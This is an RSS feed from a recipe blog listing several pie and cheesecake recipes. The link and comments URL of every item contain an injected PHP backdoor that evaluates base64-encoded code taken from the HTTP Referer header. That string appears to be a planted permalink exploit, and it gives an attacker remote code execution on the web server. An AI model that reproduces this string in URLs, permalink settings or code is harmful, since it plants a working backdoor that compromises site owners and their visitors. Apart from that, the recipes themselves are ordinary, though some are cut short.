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	<title>Yumtio.us &#187; Pie</title>
	<atom:link href="http://www.yumtio.us/category/desserts/pie/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.yumtio.us</link>
	<description>Recipes and restaurant reviews.</description>
	<lastBuildDate>Tue, 13 Nov 2007 08:18:44 +0000</lastBuildDate>
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			<item>
		<title>Peanut Butter Cheese Cake Recipe</title>
		<link>http://www.yumtio.us/2007/09/14/peanut-butter-cheese-cake-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.yumtio.us/2007/09/14/peanut-butter-cheese-cake-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 15 Sep 2007 00:48:46 +0000</pubDate>
		<dc:creator>Gary R. Hess</dc:creator>
				<category><![CDATA[Pie]]></category>

		<guid isPermaLink="false">http://www.yumtio.us/desserts/pie/peanut-butter-cheese-cake-recipe</guid>
		<description><![CDATA[Ingredients
3/4 cup graham cracker crumbs
1 package (8 ounce) reduced/fat-free cream cheese
1/3 cup peanut butter
1/3 cup peanut butter
1 1/2 tsp sugar
1 carton (8oz) frozen whipped topping
1 tbs salted peanuts, finely chopped
Directions

Sprinkle 4 tsp graham cracker crumbs into eight serving dishes. In a large mixing bowl, beat cream cheese, peanut butter and sugar until smooth. Dash a [...]]]></description>
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		<item>
		<title>Cherry Cheesecake Recipe</title>
		<link>http://www.yumtio.us/2007/09/14/cherry-cheesecake-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.yumtio.us/2007/09/14/cherry-cheesecake-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 15 Sep 2007 00:37:28 +0000</pubDate>
		<dc:creator>Gary R. Hess</dc:creator>
				<category><![CDATA[Pie]]></category>

		<guid isPermaLink="false">http://www.yumtio.us/desserts/pie/cherry-cheesecake-recipe</guid>
		<description><![CDATA[Ingredients
2 packages (one 8ounce, one 3ounce) cream cheese
1 cup confectioners sugar
whipped topping cream
1 short bread or graham cracker crust
1 can cherry pie filling
Directions

In a mixing bowl, beat the cream cheese and sugar until smooth.
Fold in whipped topping. Spoon on crust. Top with pie filling.
Refrigerate.

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		<item>
		<title>Peanut Butter Pie Recipe</title>
		<link>http://www.yumtio.us/2007/06/23/peanut-butter-pie-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.yumtio.us/2007/06/23/peanut-butter-pie-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 24 Jun 2007 00:22:32 +0000</pubDate>
		<dc:creator>Gary R. Hess</dc:creator>
				<category><![CDATA[Pie]]></category>

		<guid isPermaLink="false">http://www.yumtio.us/desserts/pie/peanut-butter-pie-recipe</guid>
		<description><![CDATA[Ingredients
Large Vanilla Pudding Packet (white chocolate is a great substitute)
Graham Cracker Pie Crust
Milk
Cool Whip (large tub)
Peanut Butter
Confectionate Sugar
Directions

Use a fork and combine peanut butter with lots of confectionate sugar until it forms crumbs. Make enough to spread evenly on bottom of pie crust.
Follow the directions of the &#8220;Pie Directions&#8221; on the pudding packet.
Pour half of [...]]]></description>
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		<item>
		<title>Chocolate Mousse Pie Recipe</title>
		<link>http://www.yumtio.us/2007/04/01/chocolate-mousse-pie-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.yumtio.us/2007/04/01/chocolate-mousse-pie-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 01 Apr 2007 21:21:40 +0000</pubDate>
		<dc:creator>Gary R. Hess</dc:creator>
				<category><![CDATA[Pie]]></category>

		<guid isPermaLink="false">http://www.yumtio.us/desserts/pie/chocolate-mousse-pie-recipe</guid>
		<description><![CDATA[Ingredients
1 milk chocolate candy bar
16 large marshmallows
1/2 cup milk
2 cups whipped cream
1 pastry shell, graham cracker or chocolate crumb crust
Directions

Place the candy bar, marshmallows and milk in a sauce pan. Cook over low heat, stirring constantly until chocolate is melted and mixture is smooth.
Fold in whipped cream, pour into crust.
Refrigerate for 3 hours.

]]></description>
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		<title>Impossible Pie Recipe</title>
		<link>http://www.yumtio.us/2007/03/23/impossible-pie-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.yumtio.us/2007/03/23/impossible-pie-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 23 Mar 2007 18:30:51 +0000</pubDate>
		<dc:creator>Gary R. Hess</dc:creator>
				<category><![CDATA[Pie]]></category>

		<guid isPermaLink="false">http://www.yumtio.us/desserts/pie/impossible-pie-recipe</guid>
		<description><![CDATA[Ingredients
4 eggs
2 cups milk
1/2 stick butter
1 cup coconut
2 tsp vanilla
1 cup sugar
1 dash salt
1/2 cup flour
Directions

Mix in a blender, pour in a 9 inch pie crust.
Bake 350&#176;F for 45 minutes or until set.

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